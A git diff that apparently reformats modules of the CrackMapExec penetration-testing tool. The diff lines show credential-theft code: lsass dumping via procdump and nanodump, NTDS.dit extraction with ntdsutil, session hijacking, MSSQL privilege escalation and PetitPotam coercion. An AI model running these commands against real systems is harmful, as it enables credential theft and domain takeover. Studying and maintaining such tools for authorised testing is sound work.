password is not None: credential_type = "plaintext" else: credential_type = "hash" password = ":".join(h for h in [lmhash, nthash] if h is not None) - context.db.add_credential( - credential_type, domain, username, password, pillaged_from=host_id - ) + context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) diff --git a/cme/modules/masky.py b/cme/modules/masky.py index 8c297100..c6d510b2 100644 --- a/cme/modules/masky.py +++ b/cme/modules/masky.py @@ -40,9 +40,7 @@ class CMEModule: def on_admin_login(self, context, connection): if not self.ca: - context.log.fail( - "Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)" - ) + context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)") return False host = connection.host @@ -78,9 +76,7 @@ class CMEModule: if not tracker.nb_hijacked_users: context.log.display("No users' sessions were hijacked") else: - context.log.display( - f"{tracker.nb_hijacked_users} session(s) successfully hijacked" - ) + context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked") context.log.display("Attempting to retrieve NT hash(es) via PKINIT") if not rslts: @@ -96,9 +92,7 @@ class CMEModule: if pwned_users: context.log.success(f"{pwned_users} NT hash(es) successfully collected") else: - context.log.fail( - "Unable to collect NT hash(es) from the hijacked session(s)" - ) + context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)") return True def process_credentials(self, connection, context, user): @@ -121,17 +115,10 @@ class CMEModule: if not tracker.files_cleaning_success: context.log.fail("Fail to clean files related to Masky") - context.log.fail( - ( - f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " - f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'" - ) - ) + context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")) ret = False if not tracker.svc_cleaning_success: - context.log.fail( - f"Fail to remove the service named '{tracker.svc_name}', please remove it manually" - ) + context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually") ret = False return ret diff --git a/cme/modules/ms17-010.py b/cme/modules/ms17-010.py index 3c98cd9c..86728dd7 100644 --- a/cme/modules/ms17-010.py +++ b/cme/modules/ms17-010.py @@ -22,9 +22,7 @@ class CMEModule: def on_login(self, context, connection): if check(connection.host): context.log.highlight("VULNERABLE") - context.log.highlight( - "Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/" - ) + context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/") class SMB_HEADER(Structure): diff --git a/cme/modules/msol.py b/cme/modules/msol.py index 194aa5a4..7fa5606c 100644 --- a/cme/modules/msol.py +++ b/cme/modules/msol.py @@ -8,9 +8,7 @@ from cme.helpers.powershell import get_ps_script class CMEModule: name = "msol" - description = ( - "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server" - ) + description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -65,9 +63,7 @@ class CMEModule: context.log.display(f"Uploading {self.msol}") with open(file_to_upload, "rb") as msol: try: - connection.conn.putFile( - self.share, f"{self.tmp_share}{self.msol}", msol.read - ) + connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read) context.log.success(f"Msol script successfully uploaded") except Exception as e: context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") @@ -89,6 +85,4 @@ class CMEModule: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}") context.log.success(f"Msol script successfully deleted") except Exception as e: - context.log.fail( - f"[OPSEC] Error deleting msol script on {self.share}: {e}" - ) + context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}") diff --git a/cme/modules/mssql_priv.py b/cme/modules/mssql_priv.py index 9d0d969a..58265721 100644 --- a/cme/modules/mssql_priv.py +++ b/cme/modules/mssql_priv.py @@ -92,12 +92,7 @@ class CMEModule: elif target_user.dbowner: self.do_dbowner_privesc(target_user.dbowner, exec_as) if self.is_admin_user(self.current_username): - self.context.log.success( - f"{self.current_username} is now a sysadmin! " - + highlight( - "({})".format(self.context.conf.get("CME", "pwn3d_label")) - ) - ) + self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("CME", "pwn3d_label")))) def build_exec_as_from_path(self, target_user): path = [target_user.username] @@ -118,20 +113,13 @@ class CMEModule: return initial_user for grantor in user.grantors: if grantor.is_sysadmin: - self.context.log.success( - f"{user.username} can impersonate: " - f"{grantor.username} (sysadmin)" - ) + self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)") return grantor elif grantor.dbowner: - self.context.log.success( - f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)" - ) + self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)") return grantor else: - self.context.log.display( - f"{user.username} can impersonate: {grantor.username}" - ) + self.context.log.display(f"{user.username} can impersonate: {grantor.username}") return self.browse_path(context, initial_user, grantor) def query_and_get_output(self, query): @@ -194,9 +182,7 @@ class CMEModule: return False def get_databases(self, exec_as="") -> list: - res = self.query_and_get_output( - exec_as + "SELECT name FROM master..sysdatabases" - ) + res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases") self.revert_context(exec_as) self.context.log.debug(f"Response: {res}") self.context.log.debug(f"Response Type: {type(res)}") @@ -290,15 +276,11 @@ class CMEModule: return users def remove_sysadmin_priv(self) -> bool: - res = self.query_and_get_output( - f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'" - ) + res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'") return not self.is_admin() def is_admin_user(self, username) -> bool: - res = self.query_and_get_output( - f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')" - ) + res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')") try: if int(res): self.admin_privs = True diff --git a/cme/modules/nanodump.py b/cme/modules/nanodump.py index 59e31377..5b39589d 100644 --- a/cme/modules/nanodump.py +++ b/cme/modules/nanodump.py @@ -100,16 +100,10 @@ class CMEModule: if self.context.protocol == "smb": with open(self.nano_path + self.nano, "rb") as nano: try: - self.connection.conn.putFile( - self.share, self.tmp_share + self.nano, nano.read - ) - self.context.log.success( - f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}" - ) + self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read) + self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}") except Exception as e: - self.context.log.fail( - f"Error writing file to share {self.share}: {e}" - ) + self.context.log.fail(f"Error writing file to share {self.share}: {e}") else: with open(self.nano_path + self.nano, "rb") as nano: try: @@ -117,18 +111,12 @@ class CMEModule: exec_method = MSSQLEXEC(self.connection.conn) exec_method.put_file(nano.read(), self.tmp_dir + self.nano) if exec_method.file_exists(self.tmp_dir + self.nano): - self.context.log.success( - f"Created file {self.nano} on the remote machine {self.tmp_dir}" - ) + self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}") else: - self.context.log.fail( - "File does not exist on the remote system... error during upload" - ) + self.context.log.fail("File does not exist on the remote system... error during upload") sys.exit(1) except Exception as e: - self.context.log.fail( - f"Error writing file to remote machine directory {self.tmp_dir}: {e}" - ) + self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}") # apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display()) # if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the @@ -178,45 +166,27 @@ class CMEModule: if self.context.protocol == "smb": with open(filename, "wb+") as dump_file: try: - self.connection.conn.getFile( - self.share, self.tmp_share + nano_log_name, dump_file.write - ) - self.context.log.success( - f"Dumpfile of lsass.exe was transferred to {filename}" - ) + self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write) + self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: self.context.log.fail(f"Error while getting file: {e}") try: - self.connection.conn.deleteFile( - self.share, self.tmp_share + self.nano - ) - self.context.log.success( - f"Deleted nano file on the {self.share} share" - ) + self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano) + self.context.log.success(f"Deleted nano file on the {self.share} share") except Exception as e: - self.context.log.fail( - f"Error deleting nano file on share {self.share}: {e}" - ) + self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}") try: - self.connection.conn.deleteFile( - self.share, self.tmp_share + nano_log_name - ) - self.context.log.success( - f"Deleted lsass.dmp file on the {self.share} share" - ) + self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name) + self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: - self.context.log.fail( - f"Error deleting lsass.dmp file on share {self.share}: {e}" - ) + self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") else: try: exec_method = MSSQLEXEC(self.connection.conn) exec_method.get_file(self.tmp_dir + nano_log_name, filename) - self.context.log.success( - f"Dumpfile of lsass.exe was transferred to {filename}" - ) + self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") except Exception as e: self.context.log.fail(f"Error while getting file: {e}") @@ -224,13 +194,9 @@ class CMEModule: try: self.connection.execute(f"del {self.tmp_dir + nano_log_name}") - self.context.log.success( - f"Deleted lsass.dmp file on the {self.tmp_dir} dir" - ) + self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir") except Exception as e: - self.context.log.fail( - f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}" - ) + self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}") fh = open(filename, "r+b") fh.seek(0) @@ -262,32 +228,22 @@ class CMEModule: for luid in pypy_parse.logon_sessions: for ssp in ssps: - for cred in getattr( - pypy_parse.logon_sessions[luid], ssp, [] - ): + for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if ( - username - and (password or NThash) - and "$" not in username - ): + if username and (password or NThash) and "$" not in username: if password: credtype = "password" credential = password else: credtype = "hash" credential = NThash - self.context.log.highlight( - f"{domain}\\{username}:{credential}" - ) - host_id = self.context.db.get_hosts( - self.connection.host - )[0][0] + self.context.log.highlight(f"{domain}\\{username}:{credential}") + host_id = self.context.db.get_hosts(self.connection.host)[0][0] self.context.db.add_credential( credtype, connection.domain, @@ -295,11 +251,7 @@ class CMEModule: credential, pillaged_from=host_id, ) - if ( - "." not in domain - and domain.upper() - in self.connection.domain.upper() - ): + if "." not in domain and domain.upper() in self.connection.domain.upper(): domain = self.connection.domain bh_creds.append( { @@ -308,9 +260,7 @@ class CMEModule: } ) if len(bh_creds) > 0: - add_user_bh( - bh_creds, None, self.context.log, self.connection.config - ) + add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") @@ -319,6 +269,4 @@ class CMEModule: self.connection.execute(f"del {self.tmp_dir + self.nano}") self.context.log.success(f"Deleted nano file on the {self.share} dir") except Exception as e: - self.context.log.fail( - f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}" - ) + self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}") diff --git a/cme/modules/nopac.py b/cme/modules/nopac.py index 06efd58e..d3c81d2c 100644 --- a/cme/modules/nopac.py +++ b/cme/modules/nopac.py @@ -21,9 +21,7 @@ class CMEModule: """ """ def on_login(self, context, connection): - user_name = Principal( - connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value - ) + user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT( user_name, @@ -52,6 +50,4 @@ class CMEModule: context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/Ridter/noPac") except OSError as e: - context.log.debug( - f"Error connecting to Kerberos (port 88) on {connection.host}" - ) + context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}") diff --git a/cme/modules/ntdsutil.py b/cme/modules/ntdsutil.py index b4fa2e80..b3979435 100644 --- a/cme/modules/ntdsutil.py +++ b/cme/modules/ntdsutil.py @@ -41,24 +41,14 @@ class CMEModule: self.no_delete = True def on_admin_login(self, context, connection): - command = ( - "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" - % (self.tmp_dir, self.dump_location) - ) - context.log.display( - "Dumping ntds with ntdsutil.exe to %s%s" - % (self.tmp_dir, self.dump_location) - ) - context.log.highlight( - "Dumping the NTDS, this could take a while so go grab a redbull..." - ) + command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location) + context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location)) + context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") context.log.debug("Executing command {}".format(command)) p = connection.execute(command, True) context.log.debug(p) if "success" in p: - context.log.success( - "NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location) - ) + context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)) else: context.log.fail("Error while dumping NTDS") return @@ -69,16 +59,11 @@ class CMEModule: context.log.display("Copying NTDS dump to %s" % self.dir_result) context.log.debug("Copy ntds.dit to host") - with open( - os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+" - ) as dump_file: + with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file: try: connection.conn.getFile( self.share, - self.tmp_share - + self.dump_location - + "\\" - + "Active Directory\\ntds.dit", + self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit", dump_file.write, ) context.log.debug("Copied ntds.dit file") @@ -86,9 +71,7 @@ class CMEModule: context.log.fail("Error while get ntds.dit file: {}".format(e)) context.log.debug("Copy SYSTEM to host") - with open( - os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+" - ) as dump_file: + with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file: try: connection.conn.getFile( self.share, @@ -100,9 +83,7 @@ class CMEModule: context.log.fail("Error while get SYSTEM file: {}".format(e)) context.log.debug("Copy SECURITY to host") - with open( - os.path.join(self.dir_result, "registry", "SECURITY"), "wb+" - ) as dump_file: + with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file: try: connection.conn.getFile( self.share, @@ -116,16 +97,9 @@ class CMEModule: try: command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location) p = connection.execute(command, True) - context.log.success( - "Deleted %s%s remote dump directory" - % (self.tmp_dir, self.dump_location) - ) + context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location)) except Exception as e: - context.log.fail( - "Error deleting {} remote directory on share {}: {}".format( - self.dump_location, self.share, e - ) - ) + context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e)) localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result) bootKey = localOperations.getBootKey() @@ -153,16 +127,12 @@ class CMEModule: username, _, lmhash, nthash, _, _, _ = hash.split(":") parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): - context.db.add_credential( - "hash", domain, username, parsed_hash, pillaged_from=host_id - ) + context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: - context.log.debug( - "Dumped hash is not NTLM, not adding to db for now ;)" - ) + context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: context.log.debug("Dumped hash is a computer account, not adding to db") @@ -187,9 +157,7 @@ class CMEModule: ) try: - context.log.success( - "Dumping the NTDS, this could take a while so go grab a redbull..." - ) + context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() context.log.success( "Dumped {} NTDS hashes to {} of which {} were added to the database".format( @@ -198,26 +166,15 @@ class CMEModule: highlight(add_ntds_hash.added_to_db), ) ) - context.log.display( - "To extract only enabled accounts from the output file, run the following command: " - ) - context.log.display( - "grep -iv disabled {} | cut -d ':' -f1".format( - connection.output_filename + ".ntds" - ) - ) + context.log.display("To extract only enabled accounts from the output file, run the following command: ") + context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds")) except Exception as e: context.log.fail(e) NTDS.finish() if self.no_delete: - context.log.display( - "Raw NTDS dump copied to %s, parse it with:" % self.dir_result - ) - context.log.display( - 'secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' - % (self.dir_result, self.dir_result, self.dir_result) - ) + context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result) + context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result)) else: shutil.rmtree(self.dir_result) diff --git a/cme/modules/ntlmv1.py b/cme/modules/ntlmv1.py index 41b2cccd..98481a49 100644 --- a/cme/modules/ntlmv1.py +++ b/cme/modules/ntlmv1.py @@ -44,14 +44,10 @@ class CMEModule: "lmcompatibilitylevel\x00", ) except rrp.DCERPCSessionError as e: - context.log.debug( - f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set" - ) + context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set") if rtype and data and int(data) in [0, 1, 2]: - context.log.highlight( - self.output.format(connection.conn.getRemoteHost(), data) - ) + context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data)) except DCERPCSessionError as e: context.log.debug(f"Error connecting to RemoteRegistry: {e}") finally: diff --git a/cme/modules/output-test.py b/cme/modules/output-test.py new file mode 100644 index 00000000..df2612ae --- /dev/null +++ b/cme/modules/output-test.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + + +class CMEModule: + name = "test" + description = "I do something" + supported_protocols = ["smb"] + opsec_safe = True # Does the module touch disk? + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + + def options(self, context, module_options): + """Required. + Module options get parsed here. Additionally, put the modules usage here as well + """ + pass + + def on_admin_login(self, context, connection): + """Concurrent. + Required if on_login is not present + This gets called on each authenticated connection with Administrative privileges + """ + context.log.info("info") + context.log.display("display") + context.log.success("success") + context.log.highlight("highlight") + context.log.fail("error test") + context.log.fail("fail test") + context.log.debug("debug") diff --git a/cme/modules/petitpotam.py b/cme/modules/petitpotam.py index 70841215..49b4115d 100644 --- a/cme/modules/petitpotam.py +++ b/cme/modules/petitpotam.py @@ -21,9 +21,7 @@ from impacket.uuid import uuidtup_to_bin class CMEModule: name = "petitpotam" - description = ( - "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" - ) + description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -47,9 +45,7 @@ class CMEModule: domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, - target=connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, pipe=self.pipe, do_kerberos=connection.kerberos, dc_host=connection.kdcHost, @@ -228,9 +224,7 @@ def coerce( "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } - rpc_transport = transport.DCERPCTransportFactory( - binding_params[pipe]["stringBinding"] - ) + rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) if hasattr(rpc_transport, "set_credentials"): rpc_transport.set_credentials( username=username, @@ -281,9 +275,7 @@ def efs_rpc_open_file_raw(dce, listener, context=None): context.log.info("[+] Attack worked!") return True if str(e).find("rpc_s_access_denied") >= 0: - context.log.info( - "[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!" - ) + context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!") context.log.info("[+] OK! Using unpatched function!") context.log.info("[-] Sending EfsRpcEncryptFileSrv!") try: @@ -296,8 +288,6 @@ def efs_rpc_open_file_raw(dce, listener, context=None): context.log.info("[+] Attack worked!") return True else: - context.log.debug( - "Something went wrong, check error status => %s" % str(e) - ) + context.log.debug("Something went wrong, check error status => %s" % str(e)) else: context.log.debug("Something went wrong, check error status => %s" % str(e)) diff --git a/cme/modules/printnightmare.py b/cme/modules/printnightmare.py index 2861cbc4..98f069b5 100644 --- a/cme/modules/printnightmare.py +++ b/cme/modules/printnightmare.py @@ -102,14 +102,10 @@ class CMEModule: return False # If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned if e.error_code == system_errors.ERROR_INVALID_PARAMETER: - context.log.highlight( - "Vulnerable, next step https://github.com/ly4k/PrintNightmare" - ) + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True raise e - context.log.highlight( - "Vulnerable, next step https://github.com/ly4k/PrintNightmare" - ) + context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True @@ -198,18 +194,10 @@ class DRIVER_INFO_2_BLOB(Structure): name_len = name.find("\0") self["Name"] = checkNullString(name[:name_len]) - self["ConfigFile"] = data[ - self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset - ].decode("utf-16-le") - self["DataFile"] = data[ - self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset - ].decode("utf-16-le") - self["DriverPath"] = data[ - self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset - ].decode("utf-16-le") - self["Environment"] = data[ - self["EnvironmentOffset"] + offset : self["NameOffset"] + offset - ].decode("utf-16-le") + self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le") + self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le") + self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le") + self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le") class DRIVER_INFO_2_ARRAY(Structure): diff --git a/cme/modules/procdump.py b/cme/modules/procdump.py index 9bdb2612..246f9790 100644 --- a/cme/modules/procdump.py +++ b/cme/modules/procdump.py @@ -59,19 +59,11 @@ class CMEModule: with open(self.procdump_path + self.procdump, "wb") as procdump: procdump.write(self.procdump_embeded) - context.log.display( - "Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir) - ) + context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir)) with open(self.procdump_path + self.procdump, "rb") as procdump: try: - connection.conn.putFile( - self.share, self.tmp_share + self.procdump, procdump.read - ) - context.log.success( - "Created file {} on the \\\\{}{}".format( - self.procdump, self.share, self.tmp_share - ) - ) + connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read) + context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share)) except Exception as e: context.log.fail(f"Error writing file to share {self.share}: {e}") @@ -80,15 +72,7 @@ class CMEModule: context.log.display("Getting lsass PID {}".format(command)) p = connection.execute(command, True) pid = p.split(",")[1][1:-1] - command = ( - self.tmp_dir - + self.procdump - + " -accepteula -ma " - + pid - + " " - + self.tmp_dir - + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp" - ) + command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp" context.log.display("Executing command {}".format(command)) p = connection.execute(command, True) context.log.debug(p) @@ -113,38 +97,22 @@ class CMEModule: with open(self.dir_result + machine_name, "wb+") as dump_file: try: - connection.conn.getFile( - self.share, self.tmp_share + machine_name, dump_file.write - ) - context.log.success( - "Dumpfile of lsass.exe was transferred to {}".format( - self.dir_result + machine_name - ) - ) + connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) + context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name)) except Exception as e: context.log.fail("Error while get file: {}".format(e)) try: connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success( - "Deleted procdump file on the {} share".format(self.share) - ) + context.log.success("Deleted procdump file on the {} share".format(self.share)) except Exception as e: - context.log.fail( - "Error deleting procdump file on share {}: {}".format(self.share, e) - ) + context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e)) try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) - context.log.success( - "Deleted lsass.dmp file on the {} share".format(self.share) - ) + context.log.success("Deleted lsass.dmp file on the {} share".format(self.share)) except Exception as e: - context.log.fail( - "Error deleting lsass.dmp file on share {}: {}".format( - self.share, e - ) - ) + context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e)) with open(self.dir_result + machine_name, "rb") as dump: try: @@ -167,28 +135,17 @@ class CMEModule: ] for luid in pypy_parse.logon_sessions: for ssp in ssps: - for cred in getattr( - pypy_parse.logon_sessions[luid], ssp, [] - ): + for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if ( - username - and (password or NThash) - and "$" not in username - ): + if username and (password or NThash) and "$" not in username: print_pass = password if password else NThash - context.log.highlight( - domain + "\\" + username + ":" + print_pass - ) - if ( - "." not in domain - and domain.upper() in connection.domain.upper() - ): + context.log.highlight(domain + "\\" + username + ":" + print_pass) + if "." not in domain and domain.upper() in connection.domain.upper(): domain = connection.domain credz_bh.append( { diff --git a/cme/modules/rdcman.py b/cme/modules/rdcman.py index 08763bfa..ccc2d44a 100644 --- a/cme/modules/rdcman.py +++ b/cme/modules/rdcman.py @@ -12,9 +12,7 @@ from cme.helpers.logger import highlight class CMEModule: name = "rdcman" - description = ( - "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" - ) + description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -64,9 +62,7 @@ class CMEModule: dc_conn.connect() if dc_conn.is_admin: - context.log.success( - "User is Domain Administrator, exporting domain backupkey..." - ) + context.log.success("User is Domain Administrator, exporting domain backupkey...") backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 @@ -96,16 +92,8 @@ class CMEModule: context.log.debug("Could not upgrade connection: {}".format(e)) return - plaintexts = { - username: password - for _, _, username, password, _, _ in context.db.get_credentials( - cred_type="plaintext" - ) - } - nthashes = { - username: nt.split(":")[1] if ":" in nt else nt - for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash") - } + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} if password != "": plaintexts[username] = password if nthash != "": @@ -128,11 +116,7 @@ class CMEModule: context.log.fail("No masterkeys looted") return - context.log.success( - "Got {} decrypted masterkeys. Looting RDCMan secrets".format( - highlight(len(self.masterkeys)) - ) - ) + context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys)))) try: triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys) diff --git a/cme/modules/rdp.py b/cme/modules/rdp.py index b60e21eb..91f12183 100644 --- a/cme/modules/rdp.py +++ b/cme/modules/rdp.py @@ -62,9 +62,7 @@ class CMEModule: 0, ) - rtype, data = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00" - ) + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00") if int(data) == 0: context.log.success("RDP enabled successfully") @@ -97,9 +95,7 @@ class CMEModule: 1, ) - rtype, data = rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00" - ) + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00") if int(data) == 1: context.log.success("RDP disabled successfully") diff --git a/cme/modules/reg-query.py b/cme/modules/reg-query.py index b6ed6017..cb754906 100644 --- a/cme/modules/reg-query.py +++ b/cme/modules/reg-query.py @@ -64,25 +64,17 @@ class CMEModule: try: self.value = int(self.value) except: - context.log.fail( - f"Invalid registry value type specified: {self.value}" - ) + context.log.fail(f"Invalid registry value type specified: {self.value}") return if self.type in type_dict: self.type = type_dict[self.type] else: - context.log.fail( - f"Invalid registry value type specified: {self.type}" - ) + context.log.fail(f"Invalid registry value type specified: {self.type}") return else: self.type = 1 - if ( - module_options - and "DELETE" in module_options - and module_options["DELETE"].lower() == "true" - ): + if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true": self.delete = True def on_admin_login(self, context, connection): @@ -108,46 +100,32 @@ class CMEModule: self.path = self.path.replace("HKCR\\", "") ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp) else: - self.context.log.fail( - f"Unsupported registry hive specified in path: {self.path}" - ) + self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}") return reg_handle = ans["phKey"] - ans = rrp.hBaseRegOpenKey( - remote_ops._RemoteOperations__rrp, reg_handle, self.path - ) + ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path) 